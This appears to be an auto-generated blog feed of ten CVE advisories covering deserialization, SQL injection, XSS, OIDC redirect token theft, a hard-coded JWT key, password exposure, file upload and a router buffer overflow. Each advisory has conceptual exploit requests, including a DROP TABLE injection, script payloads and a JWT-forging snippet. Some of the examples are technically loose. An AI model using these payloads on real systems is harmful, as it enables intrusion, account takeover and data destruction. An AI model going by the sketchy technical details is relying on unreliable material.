Author: Ameeba

CVE-2025-52287: Deserialization Vulnerability in OperaMasks SDK ELite Script Engine v0.5.0
Overview

In this blog post, we are going to delve into a newly discovered vulnerability in the OperaMasks SDK ELite Script Engine v0.5.0, documented as CVE-2025-52287. The particular vulnerability is a deserialization flaw, which if exploited, could potentially lead to a system compromise or data leakage. The severity of this vulnerability, combined with the widespread use of the OperaMasks SDK, makes this an issue of significant concern for all users and administrators of systems that have this software installed.

Vulnerability Summary

CVE ID: CVE-2025-52287
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

OperaMasks SDK ELite Script Engine | v0.5.0

How the Exploit Works

The vulnerability is a deserialization issue which can be exploited by sending specially crafted data to the application. In the case of the OperaMasks SDK ELite Script Engine, an attacker can craft malicious data which when deserialized by the software, can lead to arbitrary code execution. This allows the attacker to potentially take over the system or leak sensitive data.

Conceptual Example Code

Here’s a conceptual demonstration of how the vulnerability might be exploited using a HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_payload": "eyJ2ZXJzaW9uIjogIjAuNS4wIiwgImV4cGxvaXQiOiAiYXJiaXRyYXJ5X2NvZGUifQ=="
}
```
In this example, the “malicious_payload” is a Base64-encoded string representing the serialized malicious object. When the OperaMasks SDK ELite Script Engine deserializes this payload, it could potentially execute the arbitrary code contained within.

Mitigation

Until a vendor patch is released, users are advised to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. These tools can help detect and block attempts to exploit this vulnerability. Always remember to regularly update your systems and apply patches as soon as they are available to ensure your security posture remains strong.
September 1, 2025
CVE-2025-52085: SQL Injection Vulnerability in Yoosee Application
Overview

CVE-2025-52085 is a critical SQL Injection vulnerability discovered in the Yoosee application version 6.32.4. This vulnerability poses a significant threat to organizations and individuals who use the Yoosee application, as it allows an authenticated attacker to inject arbitrary SQL queries via a request to a backend API endpoint.
The implications of this vulnerability are severe, as successful exploitation leads to the extraction of sensitive database information. This extracted data can include the database server banner and version, the current database user and schema, the current DBMS user privileges, and arbitrary data from any table. Therefore, it is crucial for users and administrators of the Yoosee application to understand this vulnerability and implement appropriate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-52085
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Yoosee Application | v6.32.4

How the Exploit Works

An attacker who has authenticated access to the Yoosee application can exploit this vulnerability by sending a specially crafted request to a specific backend API endpoint. This request contains arbitrary SQL queries that the application’s backend processes without proper sanitization or validation.
Once processed, these queries can return sensitive information from the application’s database. This information can include the database server banner and version, the current database user and schema, the current DBMS user privileges, and arbitrary data from any table. With this information, an attacker can potentially compromise the system or leak data.

Conceptual Example Code

Here is a conceptual example of an HTTP request that could exploit the vulnerability:
```
POST /api/vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer [user_token]
{
"user_id": "1; SELECT * FROM users;"
}
```
In this example, the “user_id” parameter contains an SQL injection payload (“1; SELECT * FROM users;”). If the application fails to properly sanitize or validate this input, it could execute the SQL query, returning all data from the “users” table.
September 1, 2025
CVE-2025-57800: OpenID Connect Authentication Bypass in Audiobookshelf
Overview

The world of cybersecurity is constantly evolving. One of the latest vulnerabilities to be exposed is CVE-2025-57800, a critical vulnerability that affects the Audiobookshelf application. This vulnerability, if exploited, can lead to serious consequences including system compromise and data leakage. Given the severity of this vulnerability and the widespread use of the Audiobookshelf, this issue warrants urgent attention and immediate action.
This vulnerability specifically affects the Audiobookshelf versions from 2.6.0 to 2.26.3 when using OpenID Connect (OIDC) for authentication. It’s important to note that no Identity Provider (IdP) misconfiguration is required for this vulnerability to be exploited, meaning any implementation of Audiobookshelf that uses OIDC could be at risk.

Vulnerability Summary

CVE ID: CVE-2025-57800
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Audiobookshelf | 2.6.0 – 2.26.3

How the Exploit Works

The exploit operates by manipulating the redirect callback URLs during the OIDC authentication process. The attacker crafts a malicious login link that, once clicked by the unsuspecting user, prompts Audiobookshelf to store an arbitrary callback in a cookie. This callback is later used to redirect the user post-authentication.
The server then issues a 302 redirect to the attacker’s controlled URL, appending sensitive OIDC tokens as query parameters. This allows the attacker to intercept the victim’s tokens, potentially leading to a full account takeover. If the victim happens to be an administrator, the attacker could create persistent admin users, thereby amplifying the damage.

Conceptual Example Code

Here’s a simplified conceptual example to illustrate how this exploit might work. Let’s assume that the attacker has crafted a malicious login link:
```
GET /login?redirect=https://malicious.example.com/callback HTTP/1.1
Host: vulnerable-audiobookshelf.com
```
The victim clicks the link and logs in, unaware that they are being redirected to an attacker-controlled site:
```
GET /callback?id_token=eyJhbG... HTTP/1.1
Host: malicious.example.com
```
The attacker now has access to the victim’s tokens, which opens up a host of damaging possibilities, including account takeover and data theft.
September 1, 2025
CVE-2025-55573: Cross-Site Scripting Vulnerability in QuantumNous new-api v.0.8.5.2
Overview

CVE-2025-55573 is a critical vulnerability identified in QuantumNous new-api v.0.8.5.2, a widely used API in various web applications. This vulnerability, classed as Cross Site Scripting (XSS), has a potential to compromise system security and cause data leakage. The importance of addressing this vulnerability promptly and efficiently cannot be overstated, given the potential for significant damage to the integrity, availability, and confidentiality of the system and its data.

Vulnerability Summary

CVE ID: CVE-2025-55573
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

QuantumNous new-api | v.0.8.5.2

How the Exploit Works

The exploit takes advantage of an XSS vulnerability that allows the attacker to inject malicious scripts into web pages viewed by other users. These scripts can bypass the same-origin policy, a fundamental web security mechanism, and execute on the client side, leading to a multitude of potential attacks such as stealing session cookies, performing actions on behalf of the user, or even delivering malware.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. The attacker sends a crafted HTTP request with a malicious JavaScript payload that gets executed when a user visits the affected web page.
```
POST /api/v0.8.5.2/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "<script>/*malicious code*/</script>" }
```
In this example, the “user_input” field is not properly sanitized, allowing the attacker’s script to be embedded into the web page.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary measure, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block XSS attacks. However, these measures should not replace patching the system, as they only provide a temporary and potentially incomplete solution.
Remember, staying up-to-date with patches and updates is a critical part of maintaining a secure system. Regularly monitor for updates to QuantumNous new-api and other software your system relies on to ensure your defenses are current.
September 1, 2025
CVE-2025-51606: Critical Security Vulnerability in hippo4j Due to Hard-Coded JWT Secret Key
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical security vulnerability, designated as CVE-2025-51606, affecting versions 1.0.0 to 1.5.0 of the hippo4j software. This vulnerability, which pertains to the use of a hard-coded secret key in JWT (JSON Web Token) creation, poses a significant security risk to any systems where authentication and authorization rely heavily on the integrity of JWTs. If exploited, it could lead to system compromise or data leakage and, therefore, it is of paramount importance that users take immediate steps to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-51606
Severity: High (Score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

hippo4j | 1.0.0 to 1.5.0

How the Exploit Works

The vulnerability arises from the use of a hard-coded secret key for JWT creation in hippo4j. An attacker with access to the source code or compiled binary can exploit this vulnerability by forging valid access tokens and impersonating any user, even privileged ones such as “admin. This allows the attacker to bypass authentication measures and gain unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a pseudocode for creating a forged JWT:
```
# Import JWT library
import jwt
# Define hard-coded secret key
secret_key = "hard-coded-secret-key-from-hippo4j"
# Define malicious payload with admin privileges
malicious_payload = {
"user": "admin",
"privileges": "all"
}
# Forge JWT using the secret key and malicious payload
forged_token = jwt.encode(malicious_payload, secret_key, algorithm='HS256')
# Now the attacker can use this forged_token to impersonate as admin
```
Keep in mind that this is a hypothetical example and the actual code or method used by an attacker may vary based on the specific circumstances and the attacker’s knowledge and resources. Nonetheless, it demonstrates the potential severity and exploitability of the vulnerability.
September 1, 2025
CVE-2025-52351: Aikaan IoT Management Platform Password Exposure Vulnerability
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently exposed a new vulnerability, CVE-2025-52351, which poses a serious threat to users of the Aikaan IoT management platform. This vulnerability involves the practice of sending newly generated passwords to users in plaintext via email, and also including the same password as a query parameter in the account activation URL. As a result, the password can be exposed via browser history, proxy logs, referrer headers, and email caching. This vulnerability particularly affects user credential confidentiality during the initial onboarding process, and it is crucial for users to be aware of this risk and take appropriate measures to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-52351
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Aikaan IoT Management Platform | v3.25.0325-5-g2e9c59796

How the Exploit Works

The exploit takes advantage of the Aikaan IoT management platform’s password handling during the onboarding process. When a new user account is created, the platform generates a new password for the user and sends it to the user in plaintext via email. The same password is also included as a query parameter in the account activation URL. This means that the password is stored in the browser history, is visible in proxy logs, can be seen in referrer headers, and is cached in email servers. An attacker who has access to any of these resources can easily retrieve the password and compromise the user’s account.

Conceptual Example Code

Here is a conceptual example of the account activation URL that is sent to users:
```
GET /activate?username=johndoe&password=123456 HTTP/1.1
Host: aikaan-domain.com
```
In this example, the password “123456” is visible in the URL. Any system or person that has access to this URL can see the password in plaintext. This is the core of the vulnerability – the exposure of the password in a location where it can be easily intercepted or retrieved by an attacker.
September 1, 2025
CVE-2025-57761: Unpatched SQL Injection Vulnerability in WeGIA Web Manager
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant vulnerability in WeGIA, a widely used web manager platform for charitable institutions. Tagged as CVE-2025-57761, the issue lies in the potential for SQL Injection attacks in versions of the software prior to the 3.4.10 update. This vulnerability matters because it can lead to a full compromise of the system’s database, leading to potential data leaks and unauthorized access to sensitive data, impacting the confidentiality, integrity, and availability of the system.

Vulnerability Summary

CVE ID: CVE-2025-57761
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WeGIA | Prior to 3.4.10

How the Exploit Works

The vulnerability is due to inadequate input validation on the /html/funcionario/dependente_remover.php endpoint, specifically the id_funcionario parameter. This allows attackers to manipulate the SQL queries that are executed by the application, enabling them to execute arbitrary SQL commands. As a result, an attacker can potentially access, modify, or even delete data in the database, compromising the confidentiality, integrity, and availability of the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, using a HTTP request with a malicious SQL payload:
```
POST /html/funcionario/dependente_remover.php HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "id_funcionario": "1; DROP TABLE users;" }
```
In this example, the id_funcionario parameter is manipulated to include a SQL command (‘DROP TABLE users;’) that would delete the ‘users’ table from the database. This is a simple demonstration and actual attacks can be much more complex and damaging.

Recommended Mitigation

To protect your systems against this vulnerability, apply the vendor patch as soon as possible. Upgrade your WeGIA to version 3.4.10 or later, where this vulnerability is fixed. If immediate patching is not feasible, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block SQL Injection attacks as a temporary mitigation measure. However, these measures are not foolproof and upgrading to a patched version of the software is the most reliable way to secure your system against this vulnerability.
September 1, 2025
CVE-2025-55743: Serious Vulnerability in UnoPim Allows Potential System Compromise
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant flaw in the UnoPim open-source Product Information Management (PIM) system. This vulnerability, designated as CVE-2025-55743, can potentially lead to a system compromise or data leakage, impacting any organization that uses versions of UnoPim prior to 0.2.1. This vulnerability is of particular importance due to the broad use of UnoPim and the severity of its potential impact.

Vulnerability Summary

CVE ID: CVE-2025-55743
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

UnoPim | Before 0.2.1

How the Exploit Works

The vulnerability stems from UnoPim’s image upload feature at the user creation stage. The system only performs client-side file type validation. This allows an attacker to upload an image, capture the request through a Proxy like Burp suite, and make changes to the file extension and content. With this exploit, an attacker can potentially compromise the system or leak data.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited using a manipulated HTTP request:
```
POST /user/create HTTP/1.1
Host: target.example.com
Content-Type: image/jpeg
{ "image_file": "malicious_payload.jpg" }
```
In the above example, an attacker could replace “malicious_payload.jpg” with a file containing malicious code. The UnoPim system would accept this as a valid image file due to the client-side validation, and the malicious code could then execute within the system leading to potential compromise.

Mitigation

Users are strongly advised to apply the vendor patch and upgrade to version 0.2.1 or later. In the interim, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. However, these should be considered as short-term solutions, and updating the software should be a priority to prevent potential exploitation of the vulnerability.
August 31, 2025
CVE-2025-55420: Reflected Cross Site Scripting (XSS) Vulnerability in FoxCMS v1.2.6
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical cybersecurity vulnerability, CVE-2025-55420, that seriously threatens the security of websites running FoxCMS v1.2.6. This blog post delves into the specifics of this vulnerability, its potential impact, and what measures can be taken to mitigate it. Being a reflected Cross Site Scripting (XSS) vulnerability, it exposes users and networks to potential system compromise and data leakage, emphasizing the importance of immediate remedial action.

Vulnerability Summary

CVE ID: CVE-2025-55420
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FoxCMS | v1.2.6

How the Exploit Works

The vulnerability lies within the /index.php of FoxCMS v1.2.6. A crafted script sent via a GET request to this index page is reflected unsanitized into the HTML response. This means that the arbitrary JavaScript code embedded in the GET request is executed when a logged-in user submits the malicious input. Essentially, this vulnerability allows an attacker to inject malicious scripts into otherwise benign and trusted websites.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. An attacker sends a malicious script embedded in a GET request to the /index.php page:
```
GET /index.php?payload=<script>malicious_code_here</script> HTTP/1.1
Host: vulnerable-website.com
```
When a logged-in user loads the affected page, the malicious script is executed in their browser. This could lead to various outcomes, such as stealing session cookies, performing actions on behalf of the user, or even delivering a payload for further exploitation.

Mitigation and Prevention

To mitigate this vulnerability, it is highly recommended that users apply the vendor patch as soon as it is available. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to identify and block attempts to exploit this vulnerability. Regularly updating and patching software, as well as implementing robust security measures such as WAF and IDS, can go a long way in preventing such vulnerabilities from being exploited.
August 31, 2025
CVE-2025-9303: Critical Buffer Overflow Vulnerability in TOTOLINK A720R Router
Overview

A critical security vulnerability has been identified in the TOTOLINK A720R 4.1.5cu.630_B20250509 router. This vulnerability, indexed as CVE-2025-9303, can potentially allow an attacker to remotely exploit the system, leading to a potential system compromise or data leakage. Given the ubiquity of TOTOLINK routers in home and small business environments, the impact of this vulnerability is widespread and poses a significant risk to information security.

Vulnerability Summary

CVE ID: CVE-2025-9303
Severity: Critical (8.8 CVSS Severity Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK A720R Router | 4.1.5cu.630_B20250509

How the Exploit Works

This vulnerability stems from a flaw in the function setParentalRules of the file /cgi-bin/cstecgi.cgi. By manipulating the argument ‘desc’, an attacker can cause a buffer overflow condition. This buffer overflow can allow the execution of arbitrary code, meaning an attacker could potentially gain unauthorized access to the system and data stored on the device.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability in a HTTP request by sending a large amount of data as the ‘desc’ parameter:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: target_router_ip
Content-Type: application/x-www-form-urlencoded
setParentalRules&desc=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
In this example, the ‘desc’ parameter is filled with a large number of ‘A’ characters, causing a buffer overflow. The overflow data could contain malicious code that the router inadvertently executes.

Recommendations for Mitigation

Users are strongly urged to apply the vendor-provided patch as soon as possible. Until the patch can be applied, users may use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability. However, they are not a long-term solution and patching the device should be the priority.
August 31, 2025